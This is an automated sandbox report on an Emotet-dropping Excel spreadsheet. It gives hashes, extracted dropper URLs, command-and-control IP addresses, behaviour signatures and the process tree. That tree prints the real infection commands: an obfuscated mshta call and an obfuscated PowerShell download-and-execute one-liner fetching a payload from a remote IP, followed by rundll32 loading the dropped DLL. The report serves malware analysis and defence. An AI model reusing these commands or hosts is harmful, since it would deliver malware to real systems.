Analysis

  • max time kernel
    154s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 00:54

General

  • Target

    DATA_8972.xls

  • Size

    35KB

  • MD5

    1ccc2cda134d3cc1c45149d11a9f4aa3

  • SHA1

    b995158806fbbd4aaef52984f606d20663c82f4c

  • SHA256

    4f4165053ebe5fa260fb389ba3f0076ca600f4a70058f59a574f1fde55e1b7c2

  • SHA512

    2e48edbfeed1c2d6fc734c7060059284835068fc49dd6493f6a52c2479890d3d4fb9a0010e95140aaee5420129b39dd4e8dae4730a4bb69e7617ad7f11c8a84b

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\DATA_8972.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1588
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1612
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1584
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn",ZPWbbafnc
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1900
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:768

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • \ProgramData\QWER.dll
    MD5

    a7f82cec5d8bc6846b35958c0c3d1679

    SHA1

    d1bb27562426983883d0666f9651872fd42316b5

    SHA256

    cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

    SHA512

    31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

  • memory/768-101-0x0000000000B90000-0x0000000000BB7000-memory.dmp
    Filesize

    156KB

  • memory/768-95-0x00000000001B0000-0x00000000001D7000-memory.dmp
    Filesize

    156KB

  • memory/768-113-0x0000000002B50000-0x0000000002B77000-memory.dmp
    Filesize

    156KB

  • memory/768-111-0x0000000002A90000-0x0000000002AB7000-memory.dmp
    Filesize

    156KB

  • memory/768-109-0x0000000002990000-0x00000000029B7000-memory.dmp
    Filesize

    156KB

  • memory/768-107-0x0000000002890000-0x00000000028B7000-memory.dmp
    Filesize

    156KB

  • memory/768-105-0x00000000027F0000-0x0000000002817000-memory.dmp
    Filesize

    156KB

  • memory/768-103-0x0000000002620000-0x0000000002647000-memory.dmp
    Filesize

    156KB

  • memory/768-99-0x0000000000530000-0x0000000000557000-memory.dmp
    Filesize

    156KB

  • memory/768-97-0x0000000000430000-0x0000000000457000-memory.dmp
    Filesize

    156KB

  • memory/1100-55-0x000000002F7D1000-0x000000002F7D4000-memory.dmp
    Filesize

    12KB

  • memory/1100-63-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1100-56-0x0000000070F71000-0x0000000070F73000-memory.dmp
    Filesize

    8KB

  • memory/1100-58-0x0000000075421000-0x0000000075423000-memory.dmp
    Filesize

    8KB

  • memory/1100-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1148-60-0x0000000002320000-0x0000000002F6A000-memory.dmp
    Filesize

    12.3MB

  • memory/1148-62-0x0000000002320000-0x0000000002F6A000-memory.dmp
    Filesize

    12.3MB

  • memory/1584-77-0x00000000001D0000-0x00000000001F7000-memory.dmp
    Filesize

    156KB

  • memory/1584-85-0x0000000002520000-0x0000000002547000-memory.dmp
    Filesize

    156KB

  • memory/1584-81-0x0000000002350000-0x0000000002377000-memory.dmp
    Filesize

    156KB

  • memory/1584-83-0x00000000023B0000-0x00000000023D7000-memory.dmp
    Filesize

    156KB

  • memory/1584-91-0x00000000027A0000-0x00000000027C7000-memory.dmp
    Filesize

    156KB

  • memory/1584-87-0x0000000002700000-0x0000000002727000-memory.dmp
    Filesize

    156KB

  • memory/1612-70-0x00000000002B0000-0x00000000002D7000-memory.dmp
    Filesize

    156KB

  • memory/1900-92-0x0000000000230000-0x0000000000257000-memory.dmp
    Filesize

    156KB